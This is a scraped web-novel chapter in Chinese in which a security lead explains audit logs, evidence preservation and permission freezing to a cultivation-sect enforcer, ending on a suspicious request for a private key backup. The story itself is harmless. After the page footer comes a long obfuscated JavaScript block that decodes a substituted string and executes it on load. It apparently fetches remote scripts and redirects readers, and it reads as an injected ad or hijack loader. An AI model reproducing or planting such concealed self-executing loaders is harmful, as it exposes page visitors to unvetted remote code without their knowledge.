首页
第375章 请不要把审计日志
返回
关灯 护眼:关 字号:小

第375章 请不要把审计日志解释成天机簿

章节报错(免登陆)

一秒记住【笔趣阁】
biquge365.net,更新快,无弹窗!

    第375章请不要把审计日志解释成天机簿(第1/2页)
    控制室的空调嗡鸣声像一根绷紧的弦,从没断过。
    赵星的嗓子已经哑透了。他盯着执事,指尖在桌沿敲了一下,又一下——像在等一个永远等不到的“我懂了”。
    “发现之后呢?”执事重复了这个问题,语气没变,像钉在墙上的一根钉子。
    赵星深吸一口气,把审计日志的界面投到主屏上。时间戳、终端编号、操作账号、请求内容、结果——五列数据流,像五行排列的符纹,在屏幕上缓缓滚动。
    “这是日志。”他说,“不是天机簿。它只记录某个账号在某个时间、某个终端上做了某件事——不判断对错,不裁定因果,不替你定罪。”
    执事的眉毛没动。他身后那两名弟子站得很近,呼吸声几乎同步——像在等一个判决落地。
    “有记录便有因果。”执事缓缓说,“何物在何时、何处、由何人所作——天道所见,便是铁证。为何不能直接定罪?”
    赵星的手指在桌沿敲了一下。
    “账本能记饭钱。”他说,“但账本不能证明谁饿了。”
    执事愣了一下。
    “日志记录的是行为,不是动机。”赵星把一条记录放大——时间戳、终端编号、操作账号、请求内容、结果,“这条记录说,账号‘掌门_私钥_01’在昨天下午三点发了一个签名请求——但它不证明掌门当时是不是清醒,不证明签名请求的内容掌门有没有看过,不证明这个签名是自愿的还是被逼的。”
    执事的嘴唇动了一下,没说出话。
    赵星把界面缩小,五列数据流重新铺满屏幕。
    “发现异常之后,第一步不是抓人。”他说,“是保全证据、冻结权限、复核上下文。”
    “保全证据?”执事重复这个词,像在嚼一块咽不下的石头。
    “不是封魂入玉。”赵星抢在执事开口前补了一句,“是复制日志、锁定终端、不让任何人动现场。”
    执事身后的两名弟子交换了一个眼神。其中一人下意识摸向袖口——赵星看见了,没说话。是留影玉。那弟子在录。
    “冻结权限?”执事的声音低了一度。
    “不是废掉修为。”赵星说,“是暂时停掉那个账号的所有操作权限——不让它继续签名,不让它访问系统,不让它再制造任何记录。”
    “复核上下文?”
    “不是搜魂。”赵星的声音已经像砂纸磨过的铁皮,“是查清楚那个时间点,那个账号到底在谁手里、那个终端当时谁在用、那个签名请求的内容是不是正常的——而不是直接认定谁有罪。”
    执事的眉毛终于动了一下。
    “你们……不直接定罪?”
    “不直接定罪。”赵星重复,“证据是证据,判决是判决。日志只提供线索,不是判决书。”
    执事沉默了很久。控制室的空调嗡鸣声像一根绷紧的弦,从未断过。
    “那……抓人?”
    “等复核结果。”赵星说,“通知责任人,给解释机会,确认事实后再决定下一步。”
    执事身后的两名弟子呼吸声变了——不是同步,是错开了一拍。
    “不抓人?”执事的声音像从喉咙深处挤出来的。
    “不抓人。”赵星说,“至少现在不。”
    执事的手指在桌沿敲了一下——和赵星一模一样的节奏。
    “那你们怎么保证嫌疑人不会逃?”执事的声音高了半度,“不会销毁证据?不会灭口知情者?”
    赵星的手指停住了。
    “权限冻结后,他进不了系统。”他说,“日志已经复制了三份,本地一份、云端一份、离线存储一份——他删不掉。至于逃……”
    赵星顿了一下。
    “使馆区有监控。终端位置有记录。他跑了,反而坐实了嫌疑。”
    执事盯着赵星,目光里的东西变了——从“你在说什么鬼话”变成了“你居然说得通”。
    “所以……”执事缓缓开口,“你们不靠天机推演,不靠搜魂问心,不靠因果追溯——靠的是……账本和门锁?”
    赵星差点笑出来。
    “对。”他说,“账本和门锁。”
    执事身后的两名弟子又交换了一个眼神。这次不是疑惑——是某种说不清的东西,像刚发现一件意料之外的事。
    ***
    赵星把审计日志回放了一遍。
    他把一次失败签名请求展开给执事看——时间戳、终端编号、操作账号、权限校验、拒绝原因。五列数据流,像五行排列的符纹,在主屏上缓缓滚动。
    执事盯着屏幕,目光越来越严肃。
    “这是……”执事的声音低了下去,“留魂证供?”
    “不是。”赵星说,“是日志回放。”
    “每一次操作都有痕迹?”
    “每一次。”
    “时间、地点、何人、何事——”
    “全记。”
    执事的手指在桌沿敲了一下。
    “那这日志……不是比天机簿还详细?”
    赵星的手指停住了。
    “天机簿只记大因果。”执事的声音像在自言自语,“不记谁在何时按过什么印、谁在何处查过什么卷、谁的请求被驳回过——你们这东西,连失败都记?”
    “都记。”赵星说,“成功记,失败记,拒绝记,超时记——只要系统收到了请求,就有一条记录。”
    执事身后的两名弟子呼吸声变了——不是同步,是错开了一拍。
    “那……”执事的声音像从喉咙深处挤出来的,“若有人用掌门私钥做了不该做的事,你们能查到?”
    “能。”
    “能查到是谁做的?”
    “能查到那个时间点、那个终端上、那个账号做了什么——但不一定能查到是谁坐在那个终端前。”
    执事的眉毛动了一下。
    “因为账号可能被盗用。”赵星抢在执事开口前补了一句,“终端可能被人动过手脚——日志只能记录系统看到的东西,不能记录系统看不到的东西。”
    执事盯着赵星,目光里的东西又变了——从“你居然说得通”变成了“你还有多少鬼话要说”。
    “那你们怎么确定是谁做的?”
    “复核。”赵星说,“问责任人,查现场,核对他那个时间点在干什么——如果他有不在场证明,或者他的账号在同一个时间点从另一个终端登录过,那就说明账号被盗用了。”
    (本章未完,请点击下一页继续阅读)第375章请不要把审计日志解释成天机簿(第2/2页)
    执事的嘴唇动了一下,没说出话。
    “如果他没有不在场证明呢?”
    “那就继续查。”赵星说,“查他最近的行为有没有异常,查他有没有接触过不该接触的人,查他的终端有没有被植入后门——”
    “后门?”
    “就是……”赵星顿了一下,“你们说的‘暗手’。”
    执事的手指在桌沿敲了两下。
    “你们……不直接搜魂?”
    “不搜魂。”
    “不直接问心?”
    “不问心。”
    “不直接因果追溯?”
    “不追溯。”
    执事沉默了很久。控制室的空调嗡鸣声像一根绷紧的弦,从未断过。
    “那你们怎么知道他说的是真话?”
    赵星差点笑出来。
    “我们不靠他说的真话。”他说,“我们靠证据。”
    “证据也会伪造。”
    “所以我们复核。”
    “复核也有漏洞。”
    “所以我们交叉验证。”
    “交叉验证也有死角——”
    “所以我们接受查不到真相的可能性。”
    执事的眉毛动了一下。
    “接受?”他的声音像在嚼一块咽不下的石头,“查不到真相——接受?”
    “对。”赵星说,“不是所有案子都能破。不是所有真相都能还原。我们能做的,是尽最大努力接近真相——而不是强行认定一个结果。”
    执事盯着赵星,目光里的东西变了三次。
    “你们……”他的声音像从喉咙深处挤出来的,“不靠天罚?”
    “不靠。”
    “不靠天道裁决?”
    “不靠。”
    “不靠……”
    “不靠。”赵星打断了他,“我们靠流程。靠证据。靠复核。靠交叉验证——不靠天,不靠地,不靠任何人拍胸脯说‘我保证’。”
    执事的手指在桌沿敲了一下,又一下,又一下。
    “那你们……”他的声音低了下去,“靠什么保证?”
    “靠制度。”赵星说,“靠分工。靠制衡——不是一个人说了算,是多个环节互相约束。”
    执事沉默了很久。
    “这……”他的声音像从喉咙深处挤出来的,“比我想象的……复杂。”
    赵星差点笑出来。
    “比你们想象的也复杂。”他说,“但至少——不冤枉人。”
    执事身后的两名弟子呼吸声变了——不是错开一拍,是同时吸了一口气。
    ***
    联邦技术员把终端拓扑投到侧屏上。
    赵星松了半口气,准备结束这场概念灾难。执事终于接受了不能直接抓人——虽然接受的方式是把联邦审计体系理解成“不搜魂的宗门执法”,但至少流程对了。
    “赵组长。”技术员的声音不大,但每个字都像钉在空气里,“那个可疑签名请求的来源终端——不是控制室。”
    赵星的手指停住了。
    “什么?”
    “来源终端编号。”技术员把一条记录放大——时间戳、终端编号、操作账号、请求内容、结果,“这个编号不在控制室的设备列表里。”
    赵星盯着屏幕。
    终端编号——TEMP_ACC_07。
    “临时接入点?”他的声音像砂纸磨过的铁皮。
    “对。”技术员说,“使馆区设置了一批临时接入点,供访客使用——但这个编号……”
    技术员顿了一下。
    “不在使馆区范围内。”
    赵星的手指在桌沿敲了一下。
    “投地图。”
    侧屏刷新,使馆区的建筑布局铺开——控制室、接待厅、会议室、宿舍、仓库,每个区域都用不同颜色标注。终端拓扑覆盖上去,蓝色节点密密麻麻地分布在建筑内。
    技术员把TEMP_ACC_07的位置标出来。
    红点停在天衡宗内院边缘。
    离掌门闭关禁地只有一墙之隔。
    控制室的空气突然安静下来。空调嗡鸣声像一根绷紧的弦,从未断过——但每个人都听到了自己的心跳声。
    执事的脸色变了。
    第一次。
    从赵星认识他以来,执事的表情从未变过——像钉在墙上的一根钉子,像刻在石头上的符纹,像永远不会动的东西。
    但此刻,他的脸色变了。
    “那地方……”执事的声音像从喉咙深处挤出来的,“没有弟子能进去。”
    赵星盯着侧屏上的红点。
    “你确定?”
    “确定。”执事的声音像砂纸磨过的铁皮,“掌门闭关禁地——除了掌门本人,任何人不得靠近。连长老都不行。”
    赵星的手指在桌沿敲了一下。
    “那这个临时接入点——”
    “不该存在。”
    控制室的空气像凝固了一样。那两名弟子站得很近,呼吸声几乎同步——但赵星看到了,他们的手指在发抖。
    “赵组长。”技术员的声音不大,但每个字都像钉在空气里,“还有一条记录。”
    “说。”
    “同一个临时接入点。”技术员把另一条记录放大,“就在刚才——正在请求读取掌门私钥备份。”
    侧屏上的红点闪了两下。
    系统弹出一行新的访问记录——
    请求时间:当前时间
    来源终端:TEMP_ACC_07
    操作账号:掌门_私钥_备份
    请求内容:读取备份密钥
    状态:等待审批
    赵星盯着那行字,手指在桌沿敲了一下,又一下,又一下。
    “审批流程是谁?”
    技术员查了一下,声音像从喉咙深处挤出来的。
    “审批人——掌门本人。”
    控制室的空调嗡鸣声像一根绷紧的弦,从未断过。
    执事的手指在桌沿敲了一下——和赵星一模一样的节奏。
    “掌门闭关中。”执事的声音像砂纸磨过的铁皮,“谁来审批?”
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();